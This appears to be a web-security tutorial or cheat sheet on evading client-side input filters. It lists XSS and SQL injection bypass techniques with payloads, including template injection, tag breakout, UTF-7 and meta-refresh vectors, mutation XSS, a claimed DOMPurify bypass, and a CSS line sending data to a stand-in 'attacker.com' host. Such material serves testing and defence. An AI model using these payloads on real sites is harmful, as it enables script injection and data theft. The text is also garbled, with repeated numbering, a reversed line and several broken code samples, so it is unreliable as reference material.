

Understanding Client-Side Filters

Client-side filters are implemented in web applications to validate user inputs and protect against various attacks, such as Cross-Site Scripting (XSS) and SQL Injection. These filters typically rely on JavaScript or HTML5 validation to ensure that the data submitted by users adheres to specific rules. However, attackers often seek ways to bypass these filters to execute their malicious payloads.

Common Evasion Techniques

1. Encoding Techniques

URL Encoding: Converting characters into a format that can be transmitted over the internet. For example, a space can be encoded as %20

HTML Entity Encoding: Replacing characters with their corresponding HTML entities, such as using < for <

base64 Encoding: Encoding data into a base64 format, which can be decoded by the server but may bypass simple filters.

2. Case Manipulation

Many client-side filters are case-sensitive. By altering the case of characters in payloads, attackers can evade detection. For instance, using `SELECT` instead of `select` my bypass filters that only check for the lowercase version.

3. Comment Insertion

Inserting comments into code can disrupt the filtering process. For example, in SQL injection, an attacker might use **UNION SELECT /* comment */** to confuse the filter while still executing the intended command.

4. Whitespace Manipulation

Adding unnecessary whitespace or line breaks can help evade filters. For instance, an attacker might use **UNION SELECT** with spaces or newlines to break up the command, making it harder for filters to recognize.

5. Using Alternative Syntax

Some programming languages allow for alternative syntax that can achieve the same result. For example, in JavaScript, using `eval ()` or `function ()` can execute code that may not be recognized by filters.

6. Bypassing JavaScript Validation

Many client-side filters rely on JavaScript for validation. Attackers can bypass this by:

- Disabling JavaScript in their browser.
- Using tools like cURL or Postman to send requests directly to the server, bypassing the client-side checks entirely.

7. Exploiting Browser Bugs

Certain browsers may have vulnerabilities that can be exploited to bypass filters. Attackers can research and leverage these vulnerabilities to execute their payloads without triggering client-side defenses.

8- SVG Injection with foreignObject<

- Description

- Leverage SVG elements like `foreignObject` to inject HTML content into SVG elements.

9- Template Injection (Client-Side)

•Description :

Some frontends use templating engines like Handlebars, AngularJS, etc. You can inject payloads into the templating logic.

•Example (AngularJS):

```
{{constructor.constructor('alert(1)')()}}
```

10 - Breaking Out of HTML Context

- **Description :**

- Close existing HTML tags and start a new context for script injection.

- **Example:**

Useful in poorly handled attribute injections (e.g., in `value=""`).

"><script>alert(1)</script>

8. Mixed Encodings (Hex + HTML + UTF-7/Unicode)

Description:

Combine multiple encoding types to confuse filters.

Examples:

`%3Cscript%3Ealert(1)%3C/script%3E` (URL encoding)
`+ADw-script+AD4-alert(1)+ADw-/script+AD4-` (UTF-7)

9- No-JS XSS via <meta http-equiv>

```
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
```

10 - CSS-based Exfiltration (via background-url or attr())

- **Description:**

Use CSS to leak data or trick filters

- **Example:**

```
body { background-image: url("http://attacker.com/steal?" + attr(data)); }
```

11. Polyglot Payloads

- Description:**

Payloads that are valid in multiple contexts (e.g., HTML + JS + URL)

- Example:**

```
><"img src=x onerror="javascript:alert<"(\'
```

12 - Bypassing with srcdoc in <iframe>

Description: Use the srcdoc attribute to include HTML/JS directly inside an iframe.

Exemple :

```
<iframe  
srcdoc="<script>alert(1)</script>"></iframe>
```

13 - Mutation XSS (mXSS)

- **Definition:** Exploits how browsers mutate HTML/DOM before execution.
- **Concept:** Initial HTML appears safe but gets transformed by the browser into a malicious version.
- **Example:**

```
<div id="x"></div>  
<script> x.innerHTML = '<math><mtext></title><img src=x onerror=alert(1)>';  
</script>
```

- **Why It Works :**
- The DOM is automatically corrected, leading to script execution.
- **Browsers Affected:** (noisrev no gnidneped) irafaS «emorhC

14 - DOMPurify Bypass

- **Definition:** DOMPurify is a commonly used library to sanitize HTML/JS.
- **Bypass Vector:** Vulnerabilities in DOMPurify or incorrect usage.
- **Example:**

```
<svg><g onload="alert(1)"></g></svg>
```

Mitigation Tip: Keep libraries updated and use strict configurations.

15 - prototype Pollution Leading to XSS

- Definition:** Injecting properties into JavaScript's global object prototype.

- Technique:**

```
payload = JSON.parse('{ "__proto__": { "onerror": "alert(1)" } }');
```

Outcome: Polluted prototype might lead to unexpected JS execution when reused in DOM context.

CSP Bypass Using Script Gadgets

- **Definition:** Circumvent Content Security Policy by abusing inline JavaScript snippets.

- **Example Code:**

```
let msg = location.hash;  
document.write('');
```

Injected Payload:

```
#" onerror=alert(1)>
```

Note: No script tag or eval needed—relies on existing script logic.

Race Condition Bypass in innerHTML

- **Definition:** Exploit asynchronous timing to create malicious DOM elements before the filter reacts.
- **Example:**

```
let div = document.createElement("div");  
div.innerHTML = "<scr";setTimeout(() => {  div.innerHTML +=  
    "ipt>alert(1)</scr";  
    div.innerHTML += "ipt>";}, 10);
```

Concept: Filter validates the first part but misses the full payload due to delayed execution.

Browser-Specific Parsing Bugs

- **Definition:** Leverage quirks in browser HTML parsing engines.
- **Examples:**

```
<isindex prompt="</script><script>alert(1)</script>">
```

- **Notes:**
- Worked on older versions of Internet Explorer and Firefox.
- Rare, but still possible in embedded or outdated environments.

Shadow DOM XSS

- Technique:** Inject payload into a Shadow DOM, which bypasses traditional filters.
- Code:**

```
let el = document.createElement('div');  
let shadow = el.attachShadow({mode: 'open'});  
shadow.innerHTML = `document.body.appendChild(el);
```

10: References

- DOMPurify GitHub: <https://github.com/cure53/DOMPurify>
- OWASP XSS Filter Evasion Cheat Sheet
- Browser HTML parsing documentation (MDN)
- CVEs related to mXSS and CSP bypasses